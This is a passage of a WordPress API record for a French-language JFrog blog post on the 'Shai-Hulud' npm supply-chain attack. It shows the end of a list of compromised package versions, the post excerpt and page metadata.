\/>\nember-headless-form@1.1.2<br \/>\nember-headless-form@1.1.3<br \/>\nember-headless-form-yup@1.0.1<br \/>\nember-headless-table@2.1.5<br \/>\nember-headless-table@2.1.6<br \/>\nember-url-hash-polyfill@1.0.12<br \/>\nember-url-hash-polyfill@1.0.13<br \/>\nember-velcro@2.2.1<br \/>\nember-velcro@2.2.2<br \/>\nencounter-playground@0.0.2<br \/>\nencounter-playground@0.0.3<br \/>\nencounter-playground@0.0.4<br \/>\neslint-config-crowdstrike@11.0.2<br \/>\neslint-config-crowdstrike@11.0.3<br \/>\neslint-config-crowdstrike-node@4.0.3<br \/>\neslint-config-crowdstrike-node@4.0.4<br \/>\neslint-config-teselagen@6.1.7<br \/>\neslint-config-teselagen@6.1.8<br \/>\nglobalize-rpk@1.7.4<br \/>\ngraphql-sequelize-teselagen@5.3.8<br \/>\ngraphql-sequelize-teselagen@5.3.9<br \/>\nhtml-to-base64-image@1.0.2<br \/>\njson-rules-engine-simplified@0.2.1<br \/>\njson-rules-engine-simplified@0.2.2<br \/>\njson-rules-engine-simplified@0.2.3<br \/>\njson-rules-engine-simplified@0.2.4<br \/>\njumpgate@0.0.2<br \/>\nkoa2-swagger-ui@5.11.1<br \/>\nkoa2-swagger-ui@5.11.2<br \/>\nmcfly-semantic-release@1.3.1<br \/>\nmcp-knowledge-base@0.0.2<br \/>\nmcp-knowledge-graph@1.2.1<br \/>\nmobioffice-cli@1.0.3<br \/>\nmonorepo-next@13.0.1<br \/>\nmonorepo-next@13.0.2<br \/>\nmstate-angular@0.4.4<br \/>\nmstate-cli@0.4.7<br \/>\nmstate-dev-react@1.1.1<br \/>\nmstate-react@1.6.5<br \/>\nng-imports-checker@0.0.10<br \/>\nng-imports-checker@0.0.9<br \/>\nng2-file-upload@7.0.2<br \/>\nng2-file-upload@8.0.1<br \/>\nng2-file-upload@8.0.2<br \/>\nng2-file-upload@8.0.3<br \/>\nng2-file-upload@9.0.1<br \/>\nngx-bootstrap@18.1.4<br \/>\nngx-bootstrap@19.0.3<br \/>\nngx-bootstrap@19.0.4<br \/>\nngx-bootstrap@20.0.3<br \/>\nngx-bootstrap@20.0.4<br \/>\nngx-bootstrap@20.0.5<br \/>\nngx-bootstrap@20.0.6<br \/>\nngx-color@10.0.1<br \/>\nngx-toastr@19.0.1<br \/>\nngx-ws@1.1.5<br \/>\nngx-ws@1.1.6<br \/>\noradm-to-gql@35.0.14<br \/>\noradm-to-gql@35.0.15<br \/>\noradm-to-sqlz@1.1.2<br \/>\noradm-to-sqlz@1.1.3<br \/>\noradm-to-sqlz@1.1.4<br \/>\noradm-to-sqlz@1.1.5<br \/>\nove-auto-annotate@0.0.10<br \/>\nove-auto-annotate@0.0.9<br \/>\npm2-gelf-json@1.0.4<br \/>\npm2-gelf-json@1.0.5<br \/>\nprintjs-rpk@1.6.1<br \/>\nreact-complaint-image@0.0.32<br \/>\nreact-complaint-image@0.0.33<br \/>\nreact-complaint-image@0.0.34<br \/>\nreact-jsonschema-form-conditionals@0.3.18<br \/>\nreact-jsonschema-form-conditionals@0.3.19<br \/>\nreact-jsonschema-form-conditionals@0.3.20<br \/>\nreact-jsonschema-form-extras@1.0.1<br \/>\nreact-jsonschema-form-extras@1.0.2<br \/>\nreact-jsonschema-form-extras@1.0.3<br \/>\nreact-jsonschema-rxnt-extras@0.4.6<br \/>\nreact-jsonschema-rxnt-extras@0.4.7<br \/>\nreact-jsonschema-rxnt-extras@0.4.8<br \/>\nreact-jsonschema-rxnt-extras@0.4.9<br \/>\nremark-preset-lint-crowdstrike@4.0.1<br \/>\nremark-preset-lint-crowdstrike@4.0.2<br \/>\nrxnt-authentication@0.0.3<br \/>\nrxnt-authentication@0.0.4<br \/>\nrxnt-authentication@0.0.5<br \/>\nrxnt-healthchecks-nestjs@1.0.2<br \/>\nrxnt-healthchecks-nestjs@1.0.3<br \/>\nrxnt-healthchecks-nestjs@1.0.4<br \/>\nrxnt-kue@1.0.4<br \/>\nrxnt-kue@1.0.5<br \/>\nrxnt-kue@1.0.6<br \/>\nswc-plugin-component-annotate@1.9.1<br \/>\ntbssnch@1.0.2<br \/>\nteselagen-interval-tree@1.1.2<br \/>\ntg-client-query-builder@2.14.4<br \/>\ntg-client-query-builder@2.14.5<br \/>\ntg-redbird@1.3.1<br \/>\ntg-redbird@1.3.2<br \/>\ntg-seq-gen@1.0.10<br \/>\ntg-seq-gen@1.0.9<br \/>\nthangved-react-grid@1.0.3<br \/>\nts-gaussian@3.0.5<br \/>\nts-imports@1.0.1<br \/>\nts-imports@1.0.2<br \/>\ntvi-cli@0.1.5<br \/>\nve-bamreader@0.2.6<br \/>\nve-bamreader@0.2.7<br \/>\nve-editor@1.0.1<br \/>\nve-editor@1.0.2<br \/>\nverror-extra@6.0.1<br \/>\nvoip-callkit@1.0.2<br \/>\nvoip-callkit@1.0.3<br \/>\nwdio-web-reporter@0.1.3<br \/>\nyargs-help-output@5.0.3<br \/>\nyoo-styles@6.0.326<\/p>\n","protected":false},"excerpt":{"rendered":"<p>R\u00e9cemment, l\u2019\u00e9cosyst\u00e8me npm a \u00e9t\u00e9 confront\u00e9 \u00e0 sa troisi\u00e8me attaque de grande ampleur. Suite \u00e0 la r\u00e9cente compromission des packages nx \u00a0et d\u2019une autre vague visant des packages populaires, le registre a de nouveau \u00e9t\u00e9 attaqu\u00e9. Le premier signalement est venu de Daniel Pereira, qui a identifi\u00e9 un package compromis\u00a0: @ctrl\/tinycolor@4.1.1. D\u2019ici la fin de &hellip;<\/p>\n","protected":false},"author":370,"featured_media":156600,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10153,9212],"tags":[9999],"class_list":["post-158926","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-securite-et-devsecops","category-non-classifiee","tag-securite-recherche","resource_categories-security-research"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u00ab Shai-Hulud \u00bb - Attaque de la cha\u00eene d\u2019approvisionnement npm | JFrog<\/title>\n<meta name=\"description\" content=\"En savoir plus sur l\u2019attaque en cours de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud, y compris tous les packages compromis connus \u00e0 ce jour\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/158926\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u200bAttaque de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud \u2013 d\u00e9tection de nouveaux packages compromis\" \/>\n<meta property=\"og:description\" content=\"En savoir plus sur l\u2019attaque en cours de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud, y compris tous les packages compromis connus \u00e0 ce jour\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-16T19:03:27+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-12-02T15:51:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\" \/>\n\t<meta property=\"og:image:width\" content=\"203\" \/>\n\t<meta property=\"og:image:height\" content=\"148\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"shacharm\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"shacharm\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\"},\"author\":{\"name\":\"shacharm\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/f57bde3df1ce2f5bacb9b4bfecec785e\"},\"headline\":\"\u200bAttaque de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud \u2013 d\u00e9tection de nouveaux packages compromis\",\"datePublished\":\"2025-09-16T19:03:27+00:00\",\"dateModified\":\"2025-12-02T15:51:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\"},\"wordCount\":1614,\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\",\"keywords\":[\"securite-recherche\"],\"articleSection\":[\"S\u00e9curit\u00e9 et DevSecOps\",\"Non classifi\u00e9(e)\"],\"inLanguage\":\"fr-FR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\",\"url\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\",\"name\":\"\u00ab Shai-Hulud \u00bb - Attaque de la cha\u00eene d\u2019approvisionnement npm | JFrog\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\",\"datePublished\":\"2025-09-16T19:03:27+00:00\",\"dateModified\":\"2025-12-02T15:51:25+00:00\",\"description\":\"En savoir plus sur l\u2019attaque en cours de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud, y compris tous les packages compromis connus \u00e0 ce jour\",\"breadcrumb\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png\",\"width\":203,\"height\":148,\"caption\":\"JFrog Cuation vs Shai-Hulud npm attack\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jfrog.com\/fr\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u200bAttaque de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud \u2013 d\u00e9tection de nouveaux packages compromis\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jfrog.com\/fr\/#website\",\"url\":\"https:\/\/jfrog.com\/fr\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jfrog.com\/fr\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\/\/jfrog.com\/fr\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/artifrog\",\"https:\/\/x.com\/jfrog\",\"https:\/\/www.linkedin.com\/company\/455737\",\"https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\/\/www.wikidata.org\/wiki\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/f57bde3df1ce2f5bacb9b4bfecec785e\",\"name\":\"shacharm\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/2c4d93cf392305aa291c49dcaf6d83e9d6ea82793a22d1b94709131dfff6ac45?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/2c4d93cf392305aa291c49dcaf6d83e9d6ea82793a22d1b94709131dfff6ac45?s=96&d=mm&r=g\",\"caption\":\"shacharm\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u00ab Shai-Hulud \u00bb - Attaque de la cha\u00eene d\u2019approvisionnement npm | JFrog","description":"En savoir plus sur l\u2019attaque en cours de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud, y compris tous les packages compromis connus \u00e0 ce jour","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/158926","og_locale":"fr_FR","og_type":"article","og_title":"\u200bAttaque de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud \u2013 d\u00e9tection de nouveaux packages compromis","og_description":"En savoir plus sur l\u2019attaque en cours de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud, y compris tous les packages compromis connus \u00e0 ce jour","og_url":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2025-09-16T19:03:27+00:00","article_modified_time":"2025-12-02T15:51:25+00:00","og_image":[{"width":203,"height":148,"url":"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","type":"image\/png"}],"author":"shacharm","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Written by":"shacharm","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/"},"author":{"name":"shacharm","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/f57bde3df1ce2f5bacb9b4bfecec785e"},"headline":"\u200bAttaque de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud \u2013 d\u00e9tection de nouveaux packages compromis","datePublished":"2025-09-16T19:03:27+00:00","dateModified":"2025-12-02T15:51:25+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/"},"wordCount":1614,"publisher":{"@id":"https:\/\/jfrog.com\/fr\/#organization"},"image":{"@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","keywords":["securite-recherche"],"articleSection":["S\u00e9curit\u00e9 et DevSecOps","Non classifi\u00e9(e)"],"inLanguage":"fr-FR"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/","url":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/","name":"\u00ab Shai-Hulud \u00bb - Attaque de la cha\u00eene d\u2019approvisionnement npm | JFrog","isPartOf":{"@id":"https:\/\/jfrog.com\/fr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage"},"image":{"@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","datePublished":"2025-09-16T19:03:27+00:00","dateModified":"2025-12-02T15:51:25+00:00","description":"En savoir plus sur l\u2019attaque en cours de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud, y compris tous les packages compromis connus \u00e0 ce jour","breadcrumb":{"@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#primaryimage","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212409\/Sec-Research_Blog_Thumbnail.png","width":203,"height":148,"caption":"JFrog Cuation vs Shai-Hulud npm attack"},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/fr\/"},{"@type":"ListItem","position":2,"name":"\u200bAttaque de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud \u2013 d\u00e9tection de nouveaux packages compromis"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/fr\/#website","url":"https:\/\/jfrog.com\/fr\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/fr\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/fr\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-FR"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/fr\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/fr\/","logo":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/f57bde3df1ce2f5bacb9b4bfecec785e","name":"shacharm","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/2c4d93cf392305aa291c49dcaf6d83e9d6ea82793a22d1b94709131dfff6ac45?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/2c4d93cf392305aa291c49dcaf6d83e9d6ea82793a22d1b94709131dfff6ac45?s=96&d=mm&r=g","caption":"shacharm"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/158926","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/users\/370"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/comments?post=158926"}],"version-history":[{"count":4,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/158926\/revisions"}],"predecessor-version":[{"id":158986,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/158926\/revisions\/158986"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/media\/156600"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/media?parent=158926"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/categories?post=158926"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/tags?post=158926"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}